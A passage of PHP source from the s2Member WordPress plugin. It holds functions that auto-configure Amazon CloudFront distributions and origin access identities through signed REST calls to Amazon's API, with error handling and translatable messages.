																if /* Successfully cleared? Ready for a new one? */(isset($cf_distro_streaming_clear) && $cf_distro_streaming_clear)
																	{
																		unset /* Unset these before processing additional routines. Prevents problems in error reporting. */($cf_get_response, $cf_del_response);
																		/**/
																		if(!$cfc["distros_access_id"] || ($cfc["distros_access_id"] && ($cf_get_response = c_ws_plugin__s2member_files_in::amazon_cf_get_access_origin_identity($cfc["distros_access_id"])) && ($cf_get_response["success"] || $cf_get_response["code"] === 404)))
																			{
																				if(!$cfc["distros_access_id"] || ($cfc["distros_access_id"] && $cf_get_response && !$cf_get_response["success"] && $cf_get_response["code"] === 404))
																					$cf_distros_access_clear = /* Clear, ready for a new one. */ true;
																				/**/
																				else if($cfc["distros_access_id"] && $cf_get_response && $cf_get_response["success"] && ($cf_del_response = c_ws_plugin__s2member_files_in::amazon_cf_del_access_origin_identity($cfc["distros_access_id"], $cf_get_response["etag"], $cf_get_response["xml"])) && $cf_del_response["success"])
																					$cf_distros_access_clear = /* Clear, ready for a new one. */ true;
																				/**/
																				else if(isset($cf_del_response["code"], $cf_del_response["message"]))
																					/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
																					return array("success" => false, "code" => $cf_del_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon® CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_del_response["message"]));
																				/**/
																				if /* Successfully cleared? Ready for a new one? */(isset($cf_distros_access_clear) && $cf_distros_access_clear)
																					{
																						unset /* Unset these before processing additional routines. Prevents problems in error reporting. */($cf_get_response, $cf_del_response);
																						/**/
																						$cfc = array_merge($cfc, array("distros_access_id" => "", "distros_s3_access_id" => "", "distro_downloads_id" => "", "distro_downloads_dname" => "", "distro_streaming_id" => "", "distro_streaming_dname" => "", "distros_auto_config_status" => ""));
																						$cf_options = array("ws_plugin__s2member_amazon_cf_files_distros_access_id" => "", "ws_plugin__s2member_amazon_cf_files_distros_s3_access_id" => "", "ws_plugin__s2member_amazon_cf_files_distro_downloads_id" => "", "ws_plugin__s2member_amazon_cf_files_distro_downloads_dname" => "", "ws_plugin__s2member_amazon_cf_files_distro_streaming_id" => "", "ws_plugin__s2member_amazon_cf_files_distro_streaming_dname" => "", "ws_plugin__s2member_amazon_cf_files_distros_auto_config_status" => "");
																						c_ws_plugin__s2member_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																						/**/
																						if(($cf_response = c_ws_plugin__s2member_files_in::amazon_cf_create_distros_access_origin_identity()) && $cf_response["success"])
																							{
																								$cfc = array_merge($cfc, array("distros_access_id" => $cf_response["distros_access_id"], "distros_s3_access_id" => $cf_response["distros_s3_access_id"]));
																								$cf_options = array("ws_plugin__s2member_amazon_cf_files_distros_access_id" => $cf_response["distros_access_id"], "ws_plugin__s2member_amazon_cf_files_distros_s3_access_id" => $cf_response["distros_s3_access_id"]);
																								c_ws_plugin__s2member_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																								/**/
																								if(($cf_response = c_ws_plugin__s2member_files_in::amazon_cf_create_distro("downloads")) && $cf_response["success"])
																									{
																										$cfc = array_merge($cfc, array("distro_downloads_id" => $cf_response["distro_downloads_id"], "distro_downloads_dname" => $cf_response["distro_downloads_dname"]));
																										$cf_options = array("ws_plugin__s2member_amazon_cf_files_distro_downloads_id" => $cf_response["distro_downloads_id"], "ws_plugin__s2member_amazon_cf_files_distro_downloads_dname" => $cf_response["distro_downloads_dname"]);
																										c_ws_plugin__s2member_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																										/**/
																										if(($cf_response = c_ws_plugin__s2member_files_in::amazon_cf_create_distro("streaming")) && $cf_response["success"])
																											{
																												$cfc = array_merge($cfc, array("distro_streaming_id" => $cf_response["distro_streaming_id"], "distro_streaming_dname" => $cf_response["distro_streaming_dname"]));
																												$cf_options = array("ws_plugin__s2member_amazon_cf_files_distro_streaming_id" => $cf_response["distro_streaming_id"], "ws_plugin__s2member_amazon_cf_files_distro_streaming_dname" => $cf_response["distro_streaming_dname"]);
																												c_ws_plugin__s2member_menu_pages::update_all_options($cf_options, true, false, false, false, false);
																												/**/
																												for($a = 1, $attempts = 4, $sleep = 2, sleep($sleep); $a <= $attempts; $a++, (($a <= $attempts) ? sleep($sleep) : null))
																													/* Allow a generous propagation time here. Amazon's high-availability services do NOT guarantee real-time updates.
																														Since we DO need a fully propagated Origin Access Identity now, we need to make several attempts at success.
																														For further details, please see this thread: <https://forums.aws.amazon.com/message.jspa?messageID=42875>. */
																													if(($s3_response = c_ws_plugin__s2member_files_in::amazon_s3_auto_configure_acls()) && $s3_response["success"])
																														{
																															$cfc = array_merge($cfc, array("distros_auto_config_status" => "configured"));
																															$cf_options = array("ws_plugin__s2member_amazon_cf_files_distros_auto_config_status" => "configured");
																															c_ws_plugin__s2member_menu_pages::update_all_options( /* Now configured! */$cf_options, true, false, false, false, false);
																															return /* Successfully configured Amazon® S3/CloudFront distros. */ array("success" => true, "code" => null, "message" => null);
																														}
																												if(isset($s3_response["code"], $s3_response["message"]))
																													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® S3 API call. Feel free to exclude `%s` if you like. */
																													return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon® S3 ACLs. %s", "s2member-admin", "s2member"), $s3_response["message"]));
																												/**/
																												else /* Else, we use a default error code and message. */
																													return array("success" => false, "code" => -88, "message" => _x("Unable to update existing Amazon® S3 ACLs. Connection failed.", "s2member-admin", "s2member"));
																											}
																										else if(isset($cf_response["code"], $cf_response["message"]))
																											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
																											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon® CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
																										/**/
																										else /* Else, we use a default error code and message. */
																											return array("success" => false, "code" => -89, "message" => _x("Unable to create Amazon® CloudFront Streaming Distro. Connection failed.", "s2member-admin", "s2member"));
																									}
																								else if(isset($cf_response["code"], $cf_response["message"]))
																									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
																									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon® CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
																								/**/
																								else /* Else, we use a default error code and message. */
																									return array("success" => false, "code" => -90, "message" => _x("Unable to create Amazon® CloudFront Downloads Distro. Connection failed.", "s2member-admin", "s2member"));
																							}
																						else if(isset($cf_response["code"], $cf_response["message"]))
																							/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
																							return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon® CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
																						/**/
																						else /* Else, we use a default error code and message. */
																							return array("success" => false, "code" => -91, "message" => _x("Unable to create Amazon® CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
																					}
																				else /* Else, we use a default error code and message. */
																					return array("success" => false, "code" => -92, "message" => _x("Unable to clear existing Amazon® CloudFront Origin Access Identity.", "s2member-admin", "s2member"));
																			}
																		else if(isset($cf_get_response["code"], $cf_get_response["message"]))
																			/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
																			return array("success" => false, "code" => $cf_get_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon® CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_get_response["message"]));
																		/**/
																		else /* Else, we use a default error code and message. */
																			return array("success" => false, "code" => -93, "message" => _x("Unable to acquire existing Amazon® CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
																	}
																else /* Else, we use a default error code and message. */
																	return array("success" => false, "code" => -94, "message" => _x("Unable to clear existing Amazon® CloudFront Streaming Distro.", "s2member-admin", "s2member"));
															}
														else if(isset($cf_get_response["code"], $cf_get_response["message"]))
															/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
															return array("success" => false, "code" => $cf_get_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon® CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_get_response["message"]));
														/**/
														else /* Else, we use a default error code and message. */
															return array("success" => false, "code" => -95, "message" => _x("Unable to acquire existing Amazon® CloudFront Streaming Distro. Connection failed.", "s2member-admin", "s2member"));
													}
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -96, "message" => _x("Unable to clear existing Amazon® CloudFront Downloads Distro.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_get_response["code"], $cf_get_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_get_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon® CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_get_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -97, "message" => _x("Unable to acquire existing Amazon® CloudFront Downloads Distro. Connection failed.", "s2member-admin", "s2member"));
									}
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to auto-configure Amazon® CloudFront Distros. Incomplete Amazon® CloudFront configuration options. Missing of one: Amazon® CloudFront Private Key-Pair-ID, or Private Key file contents.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to auto-configure Amazon® S3/CloudFront Distros. Incomplete Amazon® S3 configuration options. Missing one of: Amazon® S3 Bucket, Access Key, or Secret Key. You must provide s2Member with an Amazon® S3 configuration before enabling CloudFront.", "s2member-admin", "s2member"));
					}
				/**
				* Acquires an Amazon® S3/CloudFront Access Origin Identity.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $access_id Required. An Origin Access ID.
				* @return array Array containing a true `success` and `etag`, `xml` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_get_access_origin_identity($access_id = FALSE)
					{
						if /* Valid parameters? */($access_id && is_string($access_id))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_location = "/2010-11-01/origin-access-identity/cloudfront/".$access_id;
								$cf_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_cf_sign($cf_date));
								$cf_args = array("method" => "GET", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
								/**/
								if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && (($cf_response["code"] === 404 && $cf_response["message"]) || ($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))))
									{
										if($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))
											return array("success" => true, "code" => null, "message" => null, "etag" => trim($cf_response["headers"]["etag"]), "xml" => trim($cf_response["body"]));
										/**/
										else /* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Existing Amazon® CloudFront Origin Access Identity NOT found. %s", "s2member-admin", "s2member"), $cf_response["message"]));
									}
								else if(isset($cf_response["code"], $cf_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon® CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to acquire existing Amazon® CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to acquire existing Amazon® CloudFront Origin Access Identity. Invalid Access ID.", "s2member-admin", "s2member"));
					}
				/**
				* Deletes an Amazon® S3/CloudFront Access Origin Identity.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $access_id Required. An Origin Access ID.
				* @param str $access_id_etag Required. An Origin Access ETag header.
				* @param str $access_id_xml Required. An Origin Access Identity's XML configuration.
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_del_access_origin_identity($access_id = FALSE, $access_id_etag = FALSE, $access_id_xml = FALSE)
					{
						if($access_id && is_string($access_id) && $access_id_etag && is_string($access_id_etag) && $access_id_xml && is_string($access_id_xml))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_location = "/2010-11-01/origin-access-identity/cloudfront/".$access_id;
								$cf_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_cf_sign($cf_date));
								$cf_args = array("method" => "DELETE", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "If-Match" => $access_id_etag, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
								/**/
								if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 204 /* Deleted. */))
									return /* Deleted successfully. */ array("success" => true, "code" => null, "message" => null);
								/**/
								else if(isset($cf_response["code"], $cf_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon® CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to delete existing Amazon® CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to delete existing Amazon® CloudFront Origin Access Identity. Invalid Access ID, ETag, or XML config.", "s2member-admin", "s2member"));
					}
				/**
				* Creates an Amazon® S3/CloudFront Access Origin Identity for all Distros.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @return array Array containing a true `success` and `distros_access_id`, `distros_s3_access_id` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_create_distros_access_origin_identity()
					{
						foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
								$cfc[$option] = $option_value;
						/**/
						$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
						$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
						$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
						/**/
						$cf_domain = "cloudfront.amazonaws.com";
						$cf_date = gmdate("D, d M Y H:i:s")." GMT";
						$cf_location = "/2010-11-01/origin-access-identity/cloudfront";
						$cf_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_cf_sign($cf_date));
						$cf_distros_access_reference = time().".".md5("access".$s3c["bucket"].$s3c["access_key"].$s3c["secret_key"].$cfc["private_key"].$cfc["private_key_id"]);
						$cf_distros_access_xml = '<?xml version="1.0" encoding="UTF-8"?><CloudFrontOriginAccessIdentityConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><CallerReference>'.esc_html($cf_distros_access_reference).'</CallerReference><Comment>'.esc_html(sprintf(_x("Created by s2Member, for S3 Bucket: %s.", "s2member-admin", "s2member"), $s3c["bucket"])).'</Comment></CloudFrontOriginAccessIdentityConfig>';
						$cf_args = array("method" => "POST", "redirection" => 0, "body" => $cf_distros_access_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
						/**/
						if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 201 /* Created. */))
							{
								if(preg_match("/\<CloudFrontOriginAccessIdentity.*?\>(.+?)\<\/CloudFrontOriginAccessIdentity\>/is", $cf_response["body"], $cf_distros_access_tag) && preg_match("/\<Id\>(.+?)\<\/Id\>/is", $cf_distros_access_tag[1], $cf_distros_access_id_tag) && preg_match("/\<S3CanonicalUserId\>(.+?)\<\/S3CanonicalUserId\>/is", $cf_distros_access_tag[1], $cf_distros_s3_access_id_tag))
									return array("success" => true, "code" => null, "message" => null, "distros_access_id" => trim($cf_distros_access_id_tag[1]), "distros_s3_access_id" => trim($cf_distros_s3_access_id_tag[1]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to create/read Amazon® CloudFront Origin Access Identity. Unexpected response.", "s2member-admin", "s2member"));
							}
						else if(isset($cf_response["code"], $cf_response["message"]))
							/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
							return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon® CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
						/**/
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to create Amazon® CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
					}
				/**
				* Acquires an Amazon® S3/CloudFront Distro.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $distro_id Required. A Distro ID.
				* @param str $distro_type Required: `downloads|streaming`.
				* @return array Array containing a true `success` and `etag`, `xml`, `deployed` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_get_distro($distro_id = FALSE, $distro_type = FALSE)
					{
						if($distro_id && is_string($distro_id) && $distro_type && is_string($distro_type) && in_array($distro_type, array("downloads", "streaming")))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_cf_sign($cf_date));
								$cf_location = ($distro_type === "streaming") ? "/2010-11-01/streaming-distribution/".$distro_id : "/2010-11-01/distribution/".$distro_id;
								$cf_args = array("method" => "GET", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
								/**/
								if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && (($cf_response["code"] === 404 && $cf_response["message"]) || ($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))))
									{
										if($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))
											return array("success" => true, "code" => null, "message" => null, "etag" => trim($cf_response["headers"]["etag"]), "xml" => trim($cf_response["body"]), "deployed" => ((stripos($cf_response["body"], "<Status>Deployed</Status>") !== false) ? true : false));
										/**/
										else /* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Existing Amazon® CloudFront Distro NOT found. %s", "s2member-admin", "s2member"), $cf_response["message"]));
									}
								else if(isset($cf_response["code"], $cf_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon® CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to acquire existing Amazon® CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to acquire existing Amazon® CloudFront Distro. Invalid Distro ID and/or Distro type.", "s2member-admin", "s2member"));
					}
				/**
				* Disables an Amazon® S3/CloudFront Distro.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $distro_id Required. A Distro ID.
				* @param str $distro_id_etag Required. A Distro ETag header.
				* @param str $distro_id_xml Required. A Distro's XML configuration.
				* @return array Array containing a true `success` and `etag`, `xml`, `deployed` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_disable_distro($distro_id = FALSE, $distro_id_etag = FALSE, $distro_id_xml = FALSE)
					{
						if($distro_id && is_string($distro_id) && $distro_id_etag && is_string($distro_id_etag) && $distro_id_xml && is_string($distro_id_xml) && ($distro_id_type = (stripos($distro_id_xml, "<StreamingDistribution") !== false) ? "streaming" : ((stripos($distro_id_xml, "<Distribution") !== false) ? "downloads" : false)) && preg_match("/\<CallerReference\>(.+?)\<\/CallerReference\>/is", $distro_id_xml, $distro_id_reference_tag) && ($distro_id_reference = $distro_id_reference_tag[1]))
							{
								if /* Only if it has NOT already been disabled. We do NOT need to do it again. */(stripos($distro_id_xml, "<Enabled>false</Enabled>") === false)
									{
										if /* Check distro status before we even begin processing. */(stripos($distro_id_xml, "<Status>Deployed</Status>") !== false)
											{
												foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
													if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
														$cfc[$option] = $option_value;
												/**/
												$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
												$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
												$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
												/**/
												$cf_domain = "cloudfront.amazonaws.com";
												$cf_date = gmdate("D, d M Y H:i:s")." GMT";
												$cf_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_cf_sign($cf_date));
												$cf_location = ($distro_id_type === "streaming") ? "/2010-11-01/streaming-distribution/".$distro_id."/config" : "/2010-11-01/distribution/".$distro_id."/config";
												$cf_distro_xml = ($distro_id_type === "streaming") ? '<?xml version="1.0" encoding="UTF-8"?><StreamingDistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName></S3Origin><CallerReference>'.esc_html($distro_id_reference).'</CallerReference><Enabled>false</Enabled><TrustedSigners><Self/></TrustedSigners></StreamingDistributionConfig>' : '<?xml version="1.0" encoding="UTF-8"?><DistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName></S3Origin><CallerReference>'.esc_html($distro_id_reference).'</CallerReference><Enabled>false</Enabled><TrustedSigners><Self/></TrustedSigners></DistributionConfig>';
												$cf_args = array("method" => "PUT", "redirection" => 0, "body" => $cf_distro_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "If-Match" => $distro_id_etag, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
												/**/
												if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && $cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))
													return array("success" => true, "code" => null, "message" => null, "etag" => trim($cf_response["headers"]["etag"]), "xml" => trim($cf_response["body"]), "deployed" => ((stripos($cf_response["body"], "<Status>Deployed</Status>") !== false) ? true : false));
												/**/
												else if(isset($cf_response["code"], $cf_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to disable existing Amazon® CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -97, "message" => _x("Unable to disable existing Amazon® CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
											}
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -98, "message" => _x("Existing Amazon® CloudFront Distro cannot be disabled at this time. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that s2Member must strictly adhere to when re-configuring your Amazon® CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run s2Member's auto-configuration routine many times, because s2Member will likely run into several `pending` challenges, as it works to completely re-configure your Amazon® CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
									}
								else /* Else, we use a default error code and message. */
									return array("success" => true, "code" => null, "message" => null, "etag" => $distro_id_etag, "xml" => $distro_id_xml, "deployed" => ((stripos($distro_id_xml, "<Status>Deployed</Status>") !== false) ? true : false));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to disable existing Amazon® CloudFront Distro. Invalid Distro ID, ETag, or XML config.", "s2member-admin", "s2member"));
					}
				/**
				* Deletes an Amazon® S3/CloudFront Distro.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $distro_id Required. A Distro ID.
				* @param str $distro_id_etag Required. A Distro ETag header.
				* @param str $distro_id_xml Required. A Distro's XML configuration.
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_del_distro($distro_id = FALSE, $distro_id_etag = FALSE, $distro_id_xml = FALSE)
					{
						if($distro_id && is_string($distro_id) && $distro_id_etag && is_string($distro_id_etag) && $distro_id_xml && is_string($distro_id_xml) && ($distro_id_type = (stripos($distro_id_xml, "<StreamingDistribution") !== false) ? "streaming" : ((stripos($distro_id_xml, "<Distribution") !== false) ? "downloads" : false)) && preg_match("/\<CallerReference\>(.+?)\<\/CallerReference\>/is", $distro_id_xml, $distro_id_reference_tag) && ($distro_id_reference = $distro_id_reference_tag[1]))
							{
								if /* Check distro status before we even begin processing this deletion. */(stripos($distro_id_xml, "<Status>Deployed</Status>") !== false)
									{
										if(($cf_response = c_ws_plugin__s2member_files_in::amazon_cf_disable_distro($distro_id, $distro_id_etag, $distro_id_xml)) && $cf_response["success"])
											{
												if(($cf_response = c_ws_plugin__s2member_files_in::amazon_cf_get_distro($distro_id, $distro_id_type)) && $cf_response["success"] && $cf_response["deployed"])
													{
														foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
															if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
																$cfc[$option] = $option_value;
														/**/
														$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
